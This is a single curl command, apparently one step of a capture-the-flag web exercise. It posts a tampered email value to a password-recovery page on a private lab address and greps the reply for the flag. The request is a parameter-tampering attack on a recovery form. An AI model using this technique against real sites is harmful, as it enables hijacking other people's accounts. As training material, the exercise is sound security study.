curl --silent --data-urlencode mail=hacker@example.com --data Submit=Submit 'http://10.0.2.15/?page=recover' | grep flag